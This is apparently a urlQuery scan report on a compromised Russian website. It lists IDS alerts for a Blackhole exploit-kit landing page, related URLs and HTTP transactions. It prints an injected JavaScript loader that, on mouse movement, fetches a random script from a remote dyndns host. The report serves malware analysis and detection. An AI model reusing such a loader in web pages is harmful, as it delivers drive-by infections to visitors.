Overview

URLhttp://giznsochi.ru/index.php?act=4
IP77.222.42.229
ASNAS44112 SpaceWeb JSC
Location Russian Federation
Report completed2012-11-06 07:09:02 CET
StatusLoading report..
urlQuery Alerts No alerts detected


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-06 07:08:29 77.222.42.229 urlQuery Client3ET RBN Known Russian Business Network IP (336)
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-06 07:08:29 77.222.42.229 urlQuery Client1EXPLOIT-KIT Blackhole landing page with specific structure - prototype catch


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 77.222.42.229

Date Alerts / IDS URL IP
2013-02-07 00:21:181 / 1http://remea-trust.ru/77.222.42.229
2013-02-05 21:25:451 / 1http://remea-trust.ru/77.222.42.229
2013-01-15 01:48:242 / 7http://supervozrast.ru/77.222.42.229
2012-12-12 14:14:500 / 3http://swapps.ru/soft/GameInjector.exe77.222.42.229
2012-12-08 23:20:030 / 2http://www.primamodern.ru/mail.htm?3ptj=y9blrn62a577.222.42.229
2012-12-08 23:12:350 / 2http://www.primamodern.ru/mail.htm?v87=vcvz3n147v6q6ny8yfkm77.222.42.229

Last 6 reports on ASN: AS44112 SpaceWeb JSC

Date Alerts / IDS URL IP
2013-02-15 16:59:511 / 20http://levsha-serpuhov.ru/mail.htm77.222.40.121
2013-02-15 16:03:291 / 13http://ulibka-serp.ru/mail.htm77.222.40.121
2013-02-15 15:02:000 / 1http://pir-krasnodar.ru77.222.40.157
2013-02-14 23:53:491 / 1http://ekskluziw.ru/77.222.42.140
2013-02-13 04:59:091 / 26http://kitcargo.com/wp-content/themes/skyfall/rejbynacha.html77.222.40.59
2013-02-13 04:01:561 / 31http://levsha-serpuhov.ru/mail.htm77.222.40.121

Last 6 reports on domain: giznsochi.ru

Date Alerts / IDS URL IP
2012-11-20 09:19:520 / 2http://giznsochi.ru/index.php?act=477.222.42.229
2012-11-17 18:44:090 / 2http://giznsochi.ru/index.php?cat=477.222.42.229
2012-11-07 16:02:560 / 2http://giznsochi.ru/index.php?cat=277.222.42.229
2012-11-07 01:02:490 / 2http://giznsochi.ru/index.php?act=477.222.42.229
2012-11-07 00:57:040 / 2http://giznsochi.ru/index.php?cat=377.222.42.229
2012-11-06 19:45:150 / 2http://giznsochi.ru/index.php?act=277.222.42.229



JavaScript

Executed Scripts (1)


Executed Evals (1)

#1 JavaScript::Eval (size: 699, repeated: 1) 

(function() {
    var url = 'http://8rm25dkc.xukddhgakc.dyndns-at-home.com/g/';
    if (typeof window.xyzflag === 'undefined') {
        window.xyzflag = 0;
    }
    document.onmousemove = function() {
        if (window.xyzflag === 0) {
            window.xyzflag = 1;
            var head = document.getElementsByTagName('head')[0];
            var script = document.createElement('script');
            script.type = 'text/javascript';
            script.onreadystatechange = function() {
                if (this.readyState == 'complete') {
                    window.xyzflag = 2;
                }
            };
            script.onload = function() {
                window.xyzflag = 2;
            };
            script.src = url + Math.random().toString().substring(3) + '.js';
            head.appendChild(script);
        }
    };
})();

Executed Writes (0)



HTTP Transactions (15)


Request Response 
GET /index.php?act=4 HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=10
Set-Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Encoding: gzip
GET /style.css HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: text/css

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Sat, 20 Sep 2008 08:19:25 GMT
Etag: "168e0d6-8a1-79d6dd40"
Accept-Ranges: bytes
Content-Length: 2209
GET /img/objects/1221900897_530.jpg.jpeg HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Sat, 20 Sep 2008 08:54:57 GMT
Etag: "16a025d-8d4-f8ea9a40"
Accept-Ranges: bytes
Content-Length: 2260
GET /img/objects/1222084392_658.jpeg.jpeg HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Mon, 22 Sep 2008 11:53:12 GMT
Etag: "16a0261-bdc-b2121a00"
Accept-Ranges: bytes
Content-Length: 3036
GET /img/objects/1222085396_622.JPG.jpeg HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Mon, 22 Sep 2008 12:09:56 GMT
Etag: "16a026a-82d-ede9ed00"
Accept-Ranges: bytes
Content-Length: 2093
GET /img/objects/1222084844_928.jpg.jpeg HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Mon, 22 Sep 2008 12:00:44 GMT
Etag: "16a0266-b1b-cd031300"
Accept-Ranges: bytes
Content-Length: 2843
GET /img/objects/1222242938_382.jpeg.jpeg HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Wed, 24 Sep 2008 07:55:38 GMT
Etag: "16a0270-c0e-9c261280"
Accept-Ranges: bytes
Content-Length: 3086
GET /userfiles/image/1_01.gif HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Tue, 16 Sep 2008 08:18:32 GMT
Etag: "176a1b8-30cd-ff50a600"
Accept-Ranges: bytes
Content-Length: 12493
GET /userfiles/image/1_02.jpg HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Tue, 16 Sep 2008 08:18:30 GMT
Etag: "176a1ba-367f-ff322180"
Accept-Ranges: bytes
Content-Length: 13951
GET /userfiles/image/1_11.jpg HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Tue, 16 Sep 2008 08:18:30 GMT
Etag: "176a1be-57f-ff322180"
Accept-Ranges: bytes
Content-Length: 1407
GET /userfiles/image/1_05.gif HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Tue, 16 Sep 2008 08:18:30 GMT
Etag: "176a1bb-10e-ff322180"
Accept-Ranges: bytes
Content-Length: 270
GET /images/1_08.gif HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/gif

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Tue, 16 Sep 2008 08:17:36 GMT
Etag: "169a12e-52-fbfa2800"
Accept-Ranges: bytes
Content-Length: 82
GET /userfiles/image/1_09.jpg HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://giznsochi.ru/index.php?act=4
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Last-Modified: Tue, 16 Sep 2008 08:18:30 GMT
Etag: "176a1bd-b5f9-ff322180"
Accept-Ranges: bytes
Content-Length: 46585
GET /favicon.ico HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:29 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Content-Length: 209
GET /favicon.ico HTTP/1.1

Host: giznsochi.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=63vlr620g4pcqtqn9p0l5lok97
 
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1

Server: nginx/1.0.10
Date: Tue, 06 Nov 2012 06:08:32 GMT
Connection: keep-alive
Keep-Alive: timeout=10
Content-Length: 209